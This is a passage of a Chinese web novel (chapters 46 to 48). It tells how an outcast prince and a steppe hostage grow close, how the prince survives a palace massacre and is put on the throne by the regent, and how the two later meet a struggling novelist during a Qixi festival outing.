等皇帝查清楚究竟,才意外想起自己还有这么个孩子,那双眼睛漂亮到不像话。九皇子想惩治一番这个弄坏自己礼物的人,撒娇要皇帝准许宋南卿陪自己读书。可能是慈悲心发作,可能是九皇子和生母实在得宠,总之,宋南卿得到了可以去上书房读书的殊荣。 再一次见到沈衡,是他作为陪读的草原质子,替没有背好书的皇子领罚。 板子一下下抽下去,皮肉绽开,他明明原文注释皆通,却要替主子领罚,那个背不下书的皇子一边吃着点心一边看教书先生罚他,跟旁边人有说有笑,怡然自得。 宋南卿看着天边的火烧云,想起了前几日母亲教他的那句——“同病相怜,同忧相救。”—— 作者有话说:[比心] 第46章 第四十六章 像望着小时候的自己 布置简单的房间家徒四壁, 但收拾的倒是很干净,小小的少年迈着短腿扶沈衡进屋,让他趴到里间的床板上, 边从盒子里翻找着伤药, 边解释道:“我母妃出去替人缝补,要晚上才回来, 你不用担心。” “找到了!”宋南卿从最底下艰难掏出一个葫芦状的药瓶, 脸上洋溢着笑容, 脸颊泛着两团红色。 “这是太医院不要的,虽然说是放久了过期了, 但是上次我手被刀割伤, 涂了这个很快就好,你相信我吗?” 沈衡嘴唇泛白,点了点头。 他身后的衣服和血粘在一起, 不太好分离, 宋南卿人小没多少力气, 费了好大劲才帮他把衣服脱下来。血肉模糊的背部血淋淋在眼前, 引得他倒吸一口冷气, 问:“是不是很疼啊……” 细细的手指缓慢往伤口上涂着药,宋南卿吸了吸鼻子说:“三皇子是故意的, 你下次不要背的比他还好,说不定就不会被打了。对了我叫宋南卿,你叫什么?” “沈衡。”这个穿黑衣服的少年还是沉默寡言, 说了名字就没了下文。 他的口音有些奇怪,宋南卿问:“你是京里人吗?” 沈衡点头,又摇头。 他伤的面积有些大,宋南卿处理起来费力又费时, 翻找了一本书扔给他看着,又把他多大了哪里人住在哪个宫平时喜欢干什么通通问了个彻底。 沈衡难得的没觉得旁边有一个喋喋不休的人是一件心烦的事,他把书翻到某一页,发现里面夹了一张纸,上面是歪歪扭扭的大字。 “你在练字?” 宋南卿抿了抿嘴有点不好意思,点头道:“嗯…写的不好,母妃很忙也很累我不能一直缠着她教我。” 沈衡看着薄薄透光的草纸上不均匀分布的墨汁,黑亮带了点琥珀色的眸子垂下,轻声说:“我可以教你。” 宋南卿不可置信地低头看他,手上力道不自觉加重了一些,反复询问:“真的吗?真的?” 听到沈衡低沉的闷哼声,宋南卿才连忙放轻了力道,挂着讪讪的笑小声说抱歉。 小小的房间里充满了药膏的味道,沈衡的伤口痛意轻了一些,望着小孩红彤彤的脸颊问:“你这两边怎么了?” 他小时候在草原,有的小孩会有红脸蛋,但那是因为天冷,草原上风大吹的,现在是春天,又是在京城,一般人不会有这种红脸蛋。 宋南卿不自觉抓了抓脸颊,笑道:“没事,我一直这样,反正也不痛,就是有时候会痒,没关系的。” 沈衡留下一张自己写的字帖离开,等他再踏足这间房,看到的是一张跟自己写的别无二致的字。 他们虽说上书房有段时间,也学了一些读书写字,但这张完全跟他笔迹相似的字,属实让他惊讶。 宋南卿一脸不高兴,灰头土脸迈进屋里,看到沈衡身影的时候明显一惊,但还是毫无生机地往凳子上一坐,干涸的眼睛愣愣看着前方不说话。 一向爱说的嘴停下了,沈衡察觉出反常,低头观察着他的表情问:“你怎么了?” 宋南卿本来垂着的嘴角往下耷拉的更厉害,闷闷不乐把头埋在胳膊里说:“母亲送我的生日礼物,一个很漂亮的小鸟口哨,被九皇子他们踩碎了,拼不起来了。” 一滴泪顺着脸颊流下,滑过红红的位置时,火辣辣的痛痒传来,让他不敢再落更多的泪。 “我不知道我做错了什么,为什么他们那么讨厌我,我明明什么都没有,他们已经有很多了,为什么还要抢走我唯一的东西。” 沈衡望着他,像望着小时候的自己。他小时候也有过这样的疑问。 他拿起桌上那幅字,问宋南卿:“这是你写的吗?” 宋南卿抬起挂着泪痕的脸,懵懵点头。 “换个人的字,你也能模仿得那么像吗?”沈衡的眼睛里含着燃烧的火焰,像是能把一切点燃。 一场春雨一场暖,一场秋雨一场寒,秋雨落下后,空气中都卷着凉气。 秋季草原的草料没有那么肥美,为了冬季储存足够粮食,科尔沁一族开始屡屡犯边。 皇帝莅临上书房考教诸位皇子学问,三皇子身边来自草原的质子就草原秋冬险情分析写的一篇文章受到皇帝大加称赞,次日,质子沈衡受到三皇子责罚,在皇帝宣召时晕倒过去,经探查才知晓三皇子因妒忌责罚打骂他的事情。 皇帝大怒,罚三皇子禁闭,沈衡被提拔到身边,做了征战科尔沁的军事顾问。 天气渐冷,皇帝身体日渐不好,一心想要攻打下科尔沁收复草原,完成此生愿望,沈衡作为既通晓科尔沁军情地势又通晓大盛兵法文化的人,能文能武不骄不躁,成了此次军事的重要参与者。 当然,皇帝也不是没有问过沈衡,说科尔沁那是你成长的地方,你的家园,怎么会愿意帮助大盛攻打? 沈衡回答的是,他是大盛公主的儿子,是大盛的子民。他刚出生,老草原王就去世,按照新的习俗,他的母亲带他一起嫁给新的草原王,也就是老草原王的长子。这种屈辱,让他母亲身体日渐崩溃,不久就离开人世。科尔沁是一个他不愿意回去的地方,是一个埋葬了他母亲的地方,所以一定要收回大盛所有,让母亲回家。 老皇帝听他讲了公主的事情,沉默了许久许久,本就苍老笨重的身体又憔悴了一些,把一块令牌交给了沈衡。 几日后,原本钦定的封疆大臣吃坏肚子患了痢疾,无法出征,沈衡拿到令牌成了第一责任人,铁骑北上直奔科尔沁。正逢草原内乱,老草原王的部下不服新草原王统治,正好归顺沈衡军队,如虎添翼。 沈衡砍下草原王的首籍,新王登上宝座。 迎着草原凛冽的风,沈衡垂眼望着手里那颗头,鲜血溅了他一脸,但他好像毫无知觉。 其实有时候被人讨厌、被人欺负,不是因为自己有的太多了,恰恰是因为自己手里什么都没有,所以才会任人摆布,任人欺凌。现在他不会再问为什么了,因为世间事,就是这样不讲道理。 什么都是假的,只有握在手里的东西才是真的。 沈衡把杯子里的酒洒在地上,第一杯敬天地,第二杯敬死去的故人,第三杯敬自己。 后方突然传来急报,老皇帝病情加重,不久人世,宫中暗流涌动,大战一触即发。 沈衡跨步上马,带着新收于麾下的将士朝京城飞快回赶。 仇人,还剩一个,一定要死于自己之手,才不辜负他这十几年来苦心经营、步步谋划。 那天京城降下多少年不见的暴雨,雨水如注雷电交加,一个不平静的夜晚,二皇子身带精兵冲破宫门阻拦,手中的剑直至抱病卧床的老皇帝宫门前。 朱墙绿瓦的紫禁城,那夜血流成河。 冷宫角落,宋南卿抹去睫毛上的雨水,在寒风暴雨中瑟瑟发抖,他蹲在墙角探头观察门外厮杀在一块的士兵,手指和母亲的紧紧抓在一起。 “都搜过了,没有。”戴着盔甲的士兵道。 “他一定跑不远,主子下令所有皇子宫妃应杀尽杀,不留活口,你们去里面再仔细搜一遍!” 雨水冲刷着地面的血迹,整个皇城被鲜血浸透,老皇帝病重,士兵几乎全都在他宫殿周围,阻止逼宫者冲破防线。冷宫这种地方,没有人在乎,没有人会管。 “这边有人!”一道惊喝,宋南卿背后僵直,像是利剑刺到门面的毛骨悚然从后脑勺升起,整齐的脚步声和武器划在地上的拖拽声一起传来。 宋南卿手上一沉,看见母亲下定决心般攥住自己的手道:“南卿,一定要好好活下去。” 粗糙的手指上尽是茧子、针眼、冷水泡久了之后发硬的粗皮。 嘱咐声刚落下,她就提起裙摆朝外跑去吸引了士兵的注意力,宋南卿睁大眼睛无声叫道:“母亲!母亲!” 他还太小,拽不住母亲离开的手,挡不住四面八方朝他涌来的杀人武器,漫天都是雨,朝哪儿跑都是死人,脚下漫到小腿的雨水充满了难闻的血腥味。 宋南卿在雨中艰难奔跑,冷宫大门传来动静,他被看不清的石头绊倒,摔倒在地上,血水混着泥浆涌入口腔鼻腔,但身后传来的马蹄声让他警觉地趴在地上没有轻举妄动。 一停下来,他才发现绊倒自己的不是什么石头,而是散落在地上的,不知是谁被砍下来的大腿。 热闹的嘈杂吵闹和骂声越来越近,宋南卿趴在血水中浑身被浸透,他听见有人说:“那群人跟着主子闯入太极殿,到时候是从龙之功,让我们来这儿收拾死尸。这种吃力不讨好的活,怎么就落到咱身上了。” “别废话了,看看都死透没有,快点收拾完不耽搁我们回去恭贺二皇子登基,说不定还能讨一杯庆功酒。” “这儿怎么还有个小孩。” 宋南卿感觉到锋利的剑刺透自己的衣服,在背后挑着划来划去,涌出的血混在血水中,并不明显。他咬紧牙关用尽全力不发出声音,一动不动像是一个死去的尸体。 “管他老人小孩的,都扔进那边枯井里,就算没死透你还怕他到时候爬出来?快点的吧!主子还等着呢。” 宋南卿闭着眼睛屏住呼吸,被扯着一只脚在地上拖行,后背的伤口泡在水里,在地上被拖着磨来磨去,无法忍受的疼痛一刻不停刺激着大脑,但他依然保持着一动不动的状态,仿佛真的死了。 从井口被扔下去又落地的瞬间,宋南卿感觉背后传来了极大的反作用力,他嘴角被震出一丝鲜血,后背疼痛太重已经痛到麻木,等他稍微缓过神睁开眼睛的时候,上空一道闪电划过,照亮了井内的空间。 他背后压着的、周围堆起来的、面对面趴着的,全都是被雨水浸泡到发白的尸体,一个叠着一个,并且越来越多。 倾盆大雨一直未停歇,在井底听到的雷声是石壁共振后的,仿佛在耳朵里炸起,那才是真的震耳欲聋。每次闪电一亮,他就能看清周围或熟悉或陌生的面孔,青紫的、泡浮囊的、不再有人样的。志怪里描述的鬼的样子,其实就是死人的样子,区别只是死了三天还是死了五天的区别。 因为背后的伤,宋南卿移动起来很艰难,但如果不动,接连抛下来的尸体就会把他淹没。他一点点爬上尸山,积水也一点点上涨。 手下触碰的是冰冷失温的人体组织,他已经分不清那到底是手、是脚还是别的什么,连续不断的雷声劈在头顶,井里水越来越高,光滑的井壁没有着力点,他知道自己只能等死。 雨水是腥的、臭的,尸体皮肤是凉的、硬的,宋南卿坐在尸体摞成的堆上,耳边响起的是母亲对自己说的那句——“好好活下去。” 失血过多加上雨水浸泡身体失温,宋南卿不停打起冷颤,眼前发晕好像看到了回忆里的画面。 生辰时母亲特意为他准备了好久的礼物,那个一吹就会响的小鸟哨子他爱不释手,成为了童年生活里为数不多的玩具。那天他一边吹着哨子一边坐在桌前,晃着脚看见母亲端着一小碗排骨出来,他至今不知道母亲是怎么做到的,那是他过过的最好的一个生辰。 可能是太久没有吃过肉,那天话梅排骨的味道那么深刻,酸甜的带着深深的肉香,连骨头上的每一丝肉都彻底入味。 宋南卿低着头,雨水从额前不断滑落流淌,模糊了双眼,那个生辰的画面越来越清晰,他好像听见了母亲在唤他的声音。 “宋南卿!宋南卿——” 这个声音好熟悉,好像不是母亲。 宋南卿仰起头,雨水如瀑,在高高的井口,闪电划过,他看清了沈衡滴着水的脸庞—— 作者有话说:【小剧场】 一天晚上沐浴完毕,宋南卿躺在沈衡腿上让他给自己的脸颊涂玫瑰膏子。 “以前不觉得有什么,现在不涂会觉得痒了。我第一次见你的时候脸是不是像红屁股一样。”宋南卿闭着眼问。 沈衡轻笑:“像年画娃娃一样。” 要说宋南卿登基前后有什么变化,最大的就是脸颊上的红团在沈衡精心养护下消退了。 有人那么在意他的皮肤是不是过敏泛红,会不会刺痒难受。 原来曾经的他不是不疼,只是没人可以撒娇,不敢说疼,说了也没用。 第47章 第四十七章 你逃不出我的手掌心…… 对于他到底是怎么当上这个皇帝的, 宋南卿还真的没话可讲。他模仿老皇帝的笔迹写了一个又一个字,先是草纸,再是宣纸, 最后是圣旨。 他和沈衡伪造的遗诏, 最终被拿到宣政殿诵读,但对于那夜沈衡是怎么闯入殿中, 斩杀造反的二皇子, 得到了老皇帝的认可给予他摄政之权, 甚至拿到皇帝玉玺盖上红章,宋南卿是模糊的, 他不知道沈衡在殿中究竟做了什么, 也不知道那夜老皇帝到底是怎么死的。 他只知道,等他大病一场醒来,迎接自己的就是新皇登基礼。 典雅的礼乐, 长长的台阶, 沉重的礼服, 和牵着他的手一步步登上皇帝宝座的摄政王沈衡, 构成了登基前后唯一的记忆屏障。 为什么会是他?宋南卿曾经不止一次地想, 为什么沈衡会让他来做这个皇帝? 夜色如墨,高高的亭台下一盏盏荷花灯顺水漂流, 宋南卿趴在栏杆上看向远方,眼里是葳蕤灯火,平静发问:“为什么会是我?” 沈衡转眼看他, 像是没听清,俯身问:“什么为什么?” 明亮的灯光顺着长河蜿蜒,二人的同心结缠到了一起,宋南卿摸着分不开的绳结, 笑得眉眼弯弯。 “砰——!” 远处河对岸的上空绽开一朵又一朵烟花,五颜六色的烟火照亮了黑色天空,留下转瞬即逝的美丽。大街上原本嘈杂的人群在此刻都安静了下来,并肩抬头望着天空上升起又湮灭的烟花,心中也升起了一个个想要达成的愿望。 七夕乞巧,路上有情人逛灯市的很多,他们许的最多的愿望就是但愿人长久,希望明年、后年,一起看烟花的还能是身边这个人。烟花易散琉璃脆,但人间真情却永恒。 在烟花炸开声响起的瞬间,宋南卿的耳朵就被温热的手心捂住,他缩在沈衡怀里仰头望向天空,明亮璀璨的烟花照亮天际,也倒映在他明亮的眼眸里。 少年半侧过头望向沈衡,伸直胳膊给他指天空左侧那个他最喜欢的图案和颜色,柔软的发丝扫过男人的侧脸,带来香气和痒意,他们分食过同一个乞巧果子,呼吸相贴时,呼出的是同样香甜的气息味道。 沈衡顺着他指的方向看去,轻点了下头。 宋南卿把头往后仰,靠在宽厚的肩膀上,二人的发丝交叠缠绕,分不清彼此,同样望向天空的眸子里,倒映着相同的烟火缤纷和璀璨光芒。 人们总会为漂亮又转瞬即逝的东西驻足,烟花最盛大的那一刻就是它生命的最后一刻,所以宋南卿认真仔细看着每一朵烟花从盛开到落幕的全过程,把它印在了自己的心里,永久保存,这样才算不辜负这短暂的生命。 京城最繁华的街道上到处都是人,刚刚路过南边的食肆,他看见云岫正撸起袖子大快朵颐,对面坐着跟他有一面之缘的男人烈,老人小孩也都在这个特殊的节日出来凑热闹,卖糖葫芦的、卖巧果的,甚至谁家后院姐妹们聚在一起拜月的,大家脸上都洋溢着快乐的笑容,一起看向天空中璀璨的烟花。 最后一发烟花从高空消散,影子也逐渐坠落,宋南卿转过身说:“为什么会选我做皇帝?”你当初的选择明明有很多。 沈衡望着他明亮的眼睛,一如当初那般清澈动人。 为什么呢?因为宋南卿是老皇帝最讨厌的皇子,让这个背着“颠覆大盛”诅咒的孩子继承皇位,是他最好的报复,把那老皇帝气的病床之上也要吐血三尺、气若游丝。老皇帝珍视的祖宗基业就要传至这个他厌恶害怕了几年的儿子手里,看看这天子头衔能不能斗得过恶鬼转世传言。 沈衡他刚开始当然不在乎什么天下苍生,也不在乎宋南卿能不能当好一个皇帝。 但少年纯真清澈的眼睛是最纯净毫无杂质的东西,不仅干净,还能吸附一些阴暗的东西。他像一块通体透亮毫无杂质的璞玉,让沈衡常常不忍心玷污,不忍心把那些残忍的肮脏的东西施加,即使知道宋南卿不像表面看起来那么无瑕。 宋南卿的底色是和他一样的,从这个少年小时候问出那句“为什么他们什么都有了,却还来抢我的,我明明什么都没有”开始,在沈衡心里就留下了第一丝触动。 他骑马从科尔沁日夜兼程赶回京城之时早就放下了,他不会再问为什么,为什么老天不公,为什么命运凄苦全都降临在自己头上,他不会再问。但在他的目的地,还有个孩子像他小时候一样在问,为什么? 难得的,除了报复,他生出了拯救之心,那时候他都在反思是不是天天上书房被那些酸臭迂腐的东西腌制入味了,他这样的人竟然还有同情心。 既然什么都没有,那就让你什么都有。就这样,那个小小的少年在他的一手扶持下,稳坐皇帝宝座直到今天。 不只是雏鸟有雏鸟情节,被它依赖的人也会有。看着他长大,看着他独当一面,看着他身上逐渐沾满了自己施加的痕迹,看着他真的修成一颗书里标榜的忧国忧民之心,沈衡的心中渐渐生出了不一样的感情,对于自己一手塑造的东西,他很难放开手。 所以当宋南卿非要和他走上一条不清不楚的路时,沈衡一再拒绝还是没有用时,他没有太多惊讶,他只是觉得报应来了。 他自己又不是什么好东西,怎么可能养出一朵真的纯白茉莉花。 缠着自己上床,缠着自己表达越来越多的欲望,沈衡从宋南卿身上得到的越多,给出去的便越多。 宋南卿不是茉莉花,是一轮玫瑰,根茎带刺香味馥郁,冲击性攻击性都掩藏在甜美又危险的香气之下,他亲手养大又摘下的玫瑰。 为什么会选他当皇帝? 沈衡嘴角微抬,半真半假道:“因为你那时候很乖。” 少年伸手抱住了沈衡的手臂,左右晃了一下后,捧起他的手贴到了自己脸上,柔软细嫩的脸颊贴在人手心,鼓起的弧度正好和沈衡手心的弧度吻合。 宋南卿脸小,被男人一只手就覆盖住了大半张,又软又弹的脸颊肉贴在沈衡手里轻蹭,他时不时侧脸,翘起的唇珠吻在人手心带来摩擦的细微痒意。 “我现在也乖的。”少年上抬着眼睛,树上挂的灯火让长长的一排睫毛在眼下留下淡淡的阴影,轻柔的亲吻落在沈衡的小指指根,水润的嘴唇和被日日呵护保养的脸蛋软的像天上的云,本应捉摸不定飘在天际,此刻却轻轻落在沈衡手心。 宋南卿踮起脚,抱着男人的手臂来到自己修长的脖颈处,他扬起脆弱的脖子送到沈衡张开的手里,两只手虚虚抓着那只手臂,保持着引颈被上提的姿势,瑰丽的眸子比头上打磨圆润的宝石漂亮百倍。 “…我乖一点,先生就什么都会给我吗?”他上齿轻轻咬住一点唇瓣,眼神清澈又迷离,用天真无辜的表情对着沈衡,脖子上的脉搏在人手里一下下跳动。 他逐渐靠近的脸被左右拢住,沈衡和他拉开了一定距离,端详着手里这张妍丽的脸道:“是吗?我怎么看没几天卿卿就要爬到我头上去了。” 宋南卿还想辩解什么,下颌和耳朵连接的位置就被捏住,某个穴位一被按,他半仰着头被迫合不拢嘴,清澈的口水从嘴角控制不住往下淌出一滴,他晃着头想摆脱控制,五彩的珠子轻响,混在黑发里折射出偏光,引的沈衡轻笑:“怎么哪里的水都管不住,这就是你说的乖?” 黑漆漆的眼神从宋南卿的嘴唇滑到脖颈,少年张着嘴说不出话,“呜呜”叫了几声,小脸皱成一团,泫然欲泣的眼睛像是会说话。 沈衡勾唇道:“又撒什么娇呢?” 宋南卿快哭了,皱着眉口水一点点往下落,沈衡不知道在他下颌动了什么手脚,他现在合不拢嘴也说不出话,只能攥着人下面的袖子一个劲晃。 “你乖不乖,谁来评判,你自己吗?”沈衡淡淡看着他问。 宋南卿摇头,喉咙里发出呜咽声。 沈衡抬着他的下巴轻轻晃动,少年精致漂亮又脆弱的脸在他手里变换角度。 “还想要什么?胃口越来越大了,我怕你吃不下。”贾良下马,内阁解散,权力收拢中央,启用无门无派的新人,那群世家门阀一个个正卯足了劲盯着宋南卿,等着这位表面无害背地里心狠手辣的年轻皇帝犯错,好一举而上抓他小辫子。 宋南卿背地里动了多少手脚,谋划的多细,只有他自己知道。 一左一右两边耳根被轻点,那一下酥麻让他尾椎都酥了,“咔哒”一声,他终于合拢了嘴巴。 嘴角流出的口水被沈衡拿帕子擦过,他的下颌还有点麻,声音颤抖不稳,得到警告后把脸埋在人怀里小声假哭。 沈衡从后方安抚般摸了摸他的头,轻声哄道:“你心里有数的,不用我多说,是不是?” 低沉的声音从耳边响起,震得宋南卿浑身都是麻的,他被刚刚这一通弄得心尖发痒又发慌。沈衡在他面前有时会脱下那层斯文的皮,恶劣的性子和平时端庄帝师的反差实在让他难以招架,刚刚这番让他回味起了一些不该在现在想起的滋味,但那番警告又像悬在头上的剑,他又害怕又情动,努力深呼吸了几次才平静下来。 “我、我要放荷花灯!”他揉了一把脸迫使自己恢复理智,转移话题,往后退了一步拉远二人之间的距离。 卖荷花灯的小贩就在旁边,宋南卿叫住他,一边问价钱一边往袖子里摸荷包,摸了半天什么都没摸到,他渐渐睁大眼睛意识到不对劲。 “先生,我的荷包…”他转念一想,和那个卖花小孩擦肩而过时未觉察出的细微异样,这时候细节涌现逐渐清晰,“被那个卖花的小孩偷走了!” 宋南卿跺了跺脚,连放荷花灯的心思都没了,气冲冲要往回走。 “我今天一定要找到他!真是世风日下人心不古,我就说要四海太平还需要先生助我吧!买个东西而已都能被偷,京城街市真是应该被治理了!” 刚刚在路上还说京城商业在自己的治理下井井有条呢,马上就被打脸了。 “我要报官,我要报官!”他扯着沈衡的袖子一脸委屈,上挑的眼睛沾染薄怒后更添几分别样的生动,一蹙眉一跺脚间尽显娇气与蛮横,耍脾气的样子让沈衡露出些微笑意,摸了摸他的头安抚道: “现在报了官他们也得明天天亮才能处理,而且陛下夜访京兆府,不怕吓着那些人?” 宋南卿甩着腰间的同心结,一气之下想扯掉,但又舍不得,噘着嘴说:“朕堂堂皇帝!难道连报官的权利都没有吗?那里面还有你送我的东西呢…我要找回来。” 他们一路朝刚刚遇到那小孩的桥上走,等过去的时候已经不见他的踪迹,问了几个路人后,有人说刚刚看见小孩朝北边去了。 宋南卿带着怒气朝他指的方向走去,抬脚把路中央的石子踢出去老远。 这边更偏僻一些,找了半天没看到那个小孩,倒是看到了他意想不到的东西。 昏黄八角灯下是一个书摊,最前方摆着一张大字,上面写着——绿芜老师新作强势回归:《霸道摄政王狠狠爱之你逃不出我的手掌心》。 宋南卿站在书摊前面,迈不动脚了—— 作者有话说:[比心][狗头] 第48章 第四十八章 买一咬三 宋南卿他真的喜欢看这种狗血又让人上头的东西, 之前让春见买来的那堆话本子中,这个作者写的格外合他胃口,自从沈衡把他那些宝贝全都扔出去还严令禁止他看之后, 已经好几个月没有再拜读了, 甚是遗憾。 这个新作看起来卖的很火爆的样子,而且这个名字一看就……很刺激。 宋南卿轻轻咳了一声, 手指捋着发尾悄然走近, 面上问着老板有没有看到一个小孩经过, 手底下已经偷偷翻开书开始看内容简介了。 【可怜的小皇帝被那奸臣摄政王牢牢掌控在手中,连娶妻纳妾都自己做不了主, 朝中贤臣接连被害, 摄政王把持朝纲,君臣二心绝世虐恋,要天下还是要陪他长大的摄政王, 他该如何取舍?】 宋南卿眼睛慢慢睁大, 溢出不一样的神采。书摊前方柳树临河飘摇, 长长的柳枝在灯下的影子也柔软, 细细的柳叶随风摇晃, 他的心也随着剧情摇摆。 但慢慢的,宋南卿看出了一丝不对劲。前朝受过文字之害, 所以大型文字狱,文人的一字一句都要仔细斟酌,生怕被人举报映射朝廷有反动之意。大盛汲取教训文化环境宽松, 创意百花齐放,男风盛行也不是什么新鲜事,什么类型的话本子都有,而且受众很广。 但眼下这本书, 虽然地点一类的标签隐去真名,主要人物的过往经历也做了模糊处理,但可能因为宋南卿自己就和主角有相同的处境,所以还是觉得影射性有些太强了,里面摄政王的形象属实是奸佞阴坏,老谋深算,算计到头竟然就是为了小皇帝。他往后翻了几页,发现竟然不是完本,故事就停在摄政王在小皇帝新婚之夜,手提长剑踢开宫门之后。 摊主看他驻足半晌,插话道:“绿芜老师新作一上市就一抢而空,我这儿还是因为和她关系好所以才有剩余,你要等明儿来,一准没有了。” “你竟然认识绿芜老师?我可喜欢她写的书了,能不能带我去见她一面?” 摊主抱着胳膊扫了他一眼,道:“她很忙的,可不是什么人都见的。” 宋南卿眼睛微扬,正巧这时沈衡从隔壁发带摊上结完宋南卿的账回来,刚站定就被少年用胳膊捅了捅。 “先生,给钱。” 就这大少爷出街东买买西逛逛,一种款式的发带五种颜色都要集齐,这也想要那也要买的样子,没个丰厚家底出来还真满足不了他。 沈衡挑眉,好脾气地点点头,手伸到袖子里问:“要多少?” “要多少?”宋南卿抬眼问摊主。 “一两银子可以得到亲签,三两银子可以握手,五两银子可以得到半盏茶时间的面对面一对一谈话。”摊主瞬间挂上了和善的微笑,从桌子底下抽出一张皱巴巴的价目表给宋南卿看,“三十两银子,绿芜老师可以根据你的设定和要求,写这本书接下来的剧情走向。” 宋南卿被他这熟练的动作震慑住了,一丝笑容僵在脸上问:“你…你这是?” 摊主一拍价目表,正气凛然:“绿芜老师后援会会长是也。” 看宋南卿一脸懵的样子,摊主“啧”了一声,细心解释道:“绿芜老师很不容易的,她走了好久才走到今天这个位置上,我们这些书迷要支持她,她才会更有勇气和信心写出更多更好的作品,这是一种双向奔赴的过程,你懂吗?” “嗯……”宋南卿缓缓点头。 摊主板起脸来,“我看你不是真心喜欢绿芜老师吧,真的喜欢她怎么会连一点小钱都不愿意花,这本书是第一本连载模式的话本,决定了绿芜老师的商业价值和以后在出版商那里的话语权,关乎前途真的很重要,至少人均买一本,咬咬牙买三本可以吗?” “啊……”宋南卿露出门牙,面露无措,“可是…可是我买三本回去干嘛呢?都是一样的啊…” 摊主也一脸惊讶,“一本,一本收藏,一本可以拿来送人啊!就算不送人,你垫桌脚也是可以的。我以为这都是心照不宣的事情了,爱她就要给她最好的,难道你想让对家拿这次的成绩嘲笑我们一辈子吗?” 宋南卿张了张嘴道:“什么是…对家?” “这都不重要!我的河景房才重……” 摊主抿了下嘴,重新挂上微笑,“不是,你考虑好了吗?到底要不要见绿芜老师,现场至少买一本才可以有亲签哦,自己带来的不行。” 宋南卿觉得他好奇怪,嘀嘀咕咕说了一大通听不懂的,甩了下袖子道:“你刚刚说的三十两可以决定后续剧情走向,真的假的?” 摊主看他的眼神瞬间像是看到了什么神明,歪着头嘴角上扬道:“当然是真的,公子,这边请。” 迈过一个长长的窄小巷子,又掀开一道草帘,宋南卿才看到一个小院子。里面堆了很多乱七八糟的丝线,地上铺了草席,几个人正坐在上面边乘凉,边借着外面的灯光编织同心结和茉莉花手串。 一个把头发整齐拢在后脑勺成圆形的女子背对着他们,手里端着碗好像正在给人喂药,听见动静转过头来,看见并肩行走的宋南卿和沈衡时,她眼睛放射出诡异的光芒,但很快就收敛了。 “绿芜老师,这是你的书迷,想来和你见面的。” 院子不大,从外观来看确实不是什么富贵地方,宋南卿看见那个女子转过身,笑容明媚大方,挽起袖子问:“要签名是吗?还是握手?” 摊主眼睛放光对她说:“约摄政王那本的指定续写!” 绿芜脸上的笑容立马绽放的更开,搓了搓手来到宋南卿跟前,语气中都含着抑制不住的笑意:“你好你好,请问怎么称呼。” 她伸出手想要跟宋南卿握手,被站在对面的沈衡冷冷一瞥,就不自觉缩回了手指。 宋南卿觉得古怪,不管是眼前人还是她说的话,都泛着古怪,但还是答道:“我姓南。” “哎呀南公子,一看你就是有爱好有追求的人,那本书后面的情节我还在构思,您想怎么发展都可以告诉我。” 宋南卿进屋和她到了一个安静的角落坐下,拿起桌上的茶杯在手中端详,沉默片刻才眯了眯眼睛道: “谁指使你的?”清朗平静的声音却莫名带有压迫感。 对面绿芜明显一愣,还未出声回答,门口就传来一个孩子的哭嚷叫声。 宋南卿迈步出去一探究竟,发现沈衡手里竟然提了一个小孩正朝他走来,离近之后仔细一看,那个小孩分明就是适才偷了他荷包的那个小贼! “放开我,你放开我,再不放手我要找人来打你了!绿芜姐姐救命啊!” 他手里还提着一个空篮子,双脚悬空被滴溜着移动过来。 宋南卿看见他后,气愤道:“我还要找人打你呢!你说,为什么要偷我荷包!”他伸手指着小孩的脑袋,眼睛都因为生气瞪圆了。 面对这场闹剧,一边是弟弟,一边是金主大人,绿芜只好陪笑从中间打圆场,“我说这中间会不会有什么误会啊…十一!你好好说到底是怎么回事!” 她提着那个叫十一的小孩耳朵厉声问。 本来还趾高气昂怎么都不服输的小孩一下子哭了出来,结结巴巴道:“我…呜舅舅生病需要很多钱,我那天藏在桌子底下都听到你和郎中说话了,再没有钱买药的话、舅舅就……呜钱庄昨天又来要钱了……我们的东西全都被他们抢走了,呜呜呜这个哥哥又漂亮…还很有钱,失去荷包也不会太在意的……” “这根本就不是在意不在意的事,不管怎么样你也不能去偷东西!如果你爹泉下有知,看到你这样会很失望的十一。” 绿芜叹了一口气,抱住十一擦了一把他遍布泪水的脸,“把东西还回去,跟哥哥道歉。” 宋南卿从小孩口中得知了这个家的情况,虽然不知道为何会如此艰难,但怜悯之心作祟,一时升起的怒火也消了大半。 十一低着头小碎步来到宋南卿跟前,抽泣着说:“对不起…我不应该偷拿你的东西,还给你。” 银面光滑的丝绸荷包在他手里显得很大一个,宋南卿接过来打开查看,发现东西一样都没少,这才放下心来。看着小孩低头可怜的样子,安慰了他几句说知错能改就是好孩子。 沈衡站在他身后淡淡看着这场闹剧,等十一哭声停止了才问:“按你写书印刷的程度,加上刚刚那一套签名握手,按理说应该不至于穷成这样。” 他没有宋南卿的同情心,也没有那么心软,冷冷盯着绿芜问。 院子里风一吹,传来藤编草席的味道,绿芜轻叹了一口气,一屁股坐在地上,望着天边的月亮道:“家中是罪臣之后,干不了正经的活计,因为得罪了高官,变卖家财都还不上他要求的数额,说我们贪污要把钱都吐出来,不然就要流放。” “我们只好找钱庄借钱还上这个窟窿,岂料家父病重,十一的父亲又意外离世,这笔钱越滚越大,本来…还有好心人帮忙,但这几天他家中有事,我们哪有脸上赶着去找,家中实在揭不开锅还要买药,所以十一才会……” 绿芜看向沈衡,“签名握手这一套,你们是第一个,我也是没有办法了才想出这个招。不过原始股入股不亏哦,你们现在开始粉我就是老粉,等我彻底红了你们是有优待的。” 她又转过头看着天,小声嘀咕:“按理说我集齐了罪臣之女、山穷水尽、烂摊子一家人的buff,怎么也该进入主线剧情了吧,没道理人家穿越就是什么嫁皇叔、侯门庶女逆袭,到我这儿就变成我在古代写还钱,写的速度都赶不上钱庄利息翻滚的速度!” “我这一生战战兢兢没干过什么错事,唯一有错就是追星眼光奇差爱嗑cp,追一个塌一个个个有嫂子,但这好像也不是我的错吧!” 宋南卿真的感觉面前这个人神神叨叨的奇怪的很,不过他还没忘了正事,将话题拉了回来。 “你那本新书,是怎么想的会那么写?是否有人跟你说了什么?” 绿芜面露疑惑,问:“什么意思?我只是在坊间听了一些摄政王和当今陛下的传言,有了灵感而已,请不要上升真人啊!” “对了金主大人,你不是说想要跟我约下一部剧情吗?我这儿挺乱的,要不移步,我知道有个清雅地方,我朋友在那儿工作,我们可以详谈,也算我替十一给你们赔罪了。” 绿芜可不管那么多,他还惦记着宋南卿那三十两银子呢! 今天乞巧节,大街上人流很多,在这小巷子里都能听见熙熙攘攘的人声,车马络绎不绝。 